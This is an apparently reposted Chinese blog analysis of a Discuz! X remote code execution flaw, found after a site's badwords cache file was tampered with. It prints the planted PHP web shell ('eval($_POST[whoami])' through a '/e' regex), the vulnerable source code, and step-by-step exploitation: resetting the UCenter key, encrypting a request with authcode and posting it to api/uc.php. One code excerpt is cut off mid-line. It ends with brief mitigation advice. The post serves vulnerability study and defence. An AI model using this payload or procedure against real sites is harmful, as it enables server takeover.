關於Discuz! X系列遠程代碼執行漏洞


一、漏洞起源

突然有同事反饋,無法注冊

 

看到這里不了解的同行估計一年懵逼,這里也是常用的漏洞攻擊,可以肯定的是  badwords.php文件被修改了 ,可以查看這個文件內容

<?php
$_CACHE['badwords'] = array (
  'findpattern' => 
  array (
    'balabala' => '/.*/e',
  ),
  'replace' => 
  array (
    'balabala' => 'eval($_POST[whoami]);',
  ),
);

果然這里被篡改了  

這個文件路徑在:uc_client/data/cache/badwords.php

正常的文件內容為

<?php
$_CACHE['badwords'] = array (
);

  首先需要做的是把這個文件改回來,然后堵住漏洞

二、漏洞根源

這個問題的根源在於api/uc.php文件中的updatebadwords方法,代碼如下:

function updatebadwords($get, $post) {
        global $_G;
 
        if(!API_UPDATEBADWORDS) {
            return API_RETURN_FORBIDDEN;
        }
 
        $data = array();
        if(is_array($post)) {
            foreach($post as $k => $v) {
                $data['findpattern'][$k] = $v['findpattern'];
                $data['replace'][$k] = $v['replacement'];
            }
        }
        $cachefile = DISCUZ_ROOT.'./uc_client/data/cache/badwords.php';
        $fp = fopen($cachefile, 'w');
        $s = "

  

badwords用的地方比較少,主要集中在uc的pm和user模塊中。

這里用user來舉例,在uc_client/model/user.php文件中有一個check_usernamecensor方法,來校驗用戶名中是否有badwords,如果有的話就將他替換掉,代碼如下:

function check_usernamecensor($username) {
    $_CACHE['badwords'] = $this->base->cache('badwords');
    $censorusername = $this->base->get_setting('censorusername');
    $censorusername = $censorusername['censorusername'];
    $censorexp = '/^('.str_replace(array('\\*', "\r\n", ' '), array('.*', '|', ''), preg_quote(($censorusername = trim($censorusername)), '/')).')$/i';
    $usernamereplaced = isset($_CACHE['badwords']['findpattern']) && !empty($_CACHE['badwords']['findpattern']) ? @preg_replace($_CACHE['badwords']['findpattern'], $_CACHE['badwords']['replace'], $username) : $username;
    if(($usernamereplaced != $username) || ($censorusername && preg_match($censorexp, $username))) {
        return FALSE;
    } else {
        return TRUE;
    }
}

可以看到代碼中使用了preg_replace,那么如果我們的正則表達式寫成“/.*/e",就可以在使用這個方法的地方進行任意代碼執行了。而這個方法在disucz中,只要是添加或者修改用戶名的地方都會用到。

三、漏洞利用

首先我們們訪問api/uc.php,之后我們會發現uc處理機制中比較討厭的環節——用戶傳遞的參數需要經過UC_KEY加密:

if(!defined('IN_UC')) {
    require_once '../source/class/class_core.php';
 
    $discuz = C::app();
    $discuz->init();
 
    require DISCUZ_ROOT.'./config/config_ucenter.php';
 
    $get = $post = array();
 
    $code = @$_GET['code'];
    parse_str(authcode($code, 'DECODE', UC_KEY), $get);

 

所以這里需要有個前提,需要知道UC_KEY或者可以操控UC_KEY。那么問題來了,我們要怎么達到這個前提呢?

我們在后台中站長->UCenter設置中發現有“UCenter 通信密鑰”這個字段,這是用於操控discuz和uc連接的app key,而非高級的uc_server key,不過對於我們getshell來說足夠了。在這里修改為任意值,這樣我們就獲取到了加密用的key值了。

 

可以看下配置文件,秘鑰已經發生變化

文件路徑為:config/config_ucenter.php

然后我們在自己搭建的discuz的api/uc.php文件中添加兩行代碼,來加密get請求所需要的內容:

$a = 'time='.time().'&action=updatebadwords';
$code = authcode($a, 'ENCODE', 'R5vcQ374u2C2W6K7V7r9u1T7P6f9F5o2ObW6x1X0OeY7bfv5Mag4Yb6bf658D0d5');
echo $code;
exit;

 

然后用post方法向api/uc.php發送帶有正則表達式信息的xml數據包,請求頭中有兩個地方需要注意,一個是formhash,一個是剛才獲取的code需要進行一次url編碼

發送后可以發現uc_client/data/cache目錄下的badwords.php內容就變了:

<?php
$_CACHE['badwords'] = array (
  'findpattern' =>
  array (
    'balabala' => '/.*/e',
  ),
  'replace' =>
  array (
    'balabala' => 'eval($_POST[whoami]);',
  ),
);

之后利用方法就有很多種了,可以通過增加一個用戶來實現代碼執行,也可以通過發消息的方式來觸發,或者用戶注冊  

四、總結

漏洞小結

1、影響范圍個人評價為“高”,Discuz! X系列使用范圍極廣

2、這個漏洞不只是單純的后台代碼執行,在uc_app key泄露的情況下也是可以利用的

防護方案

限制用戶提交正則表達式的內容 

 

不允許這用就對了 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM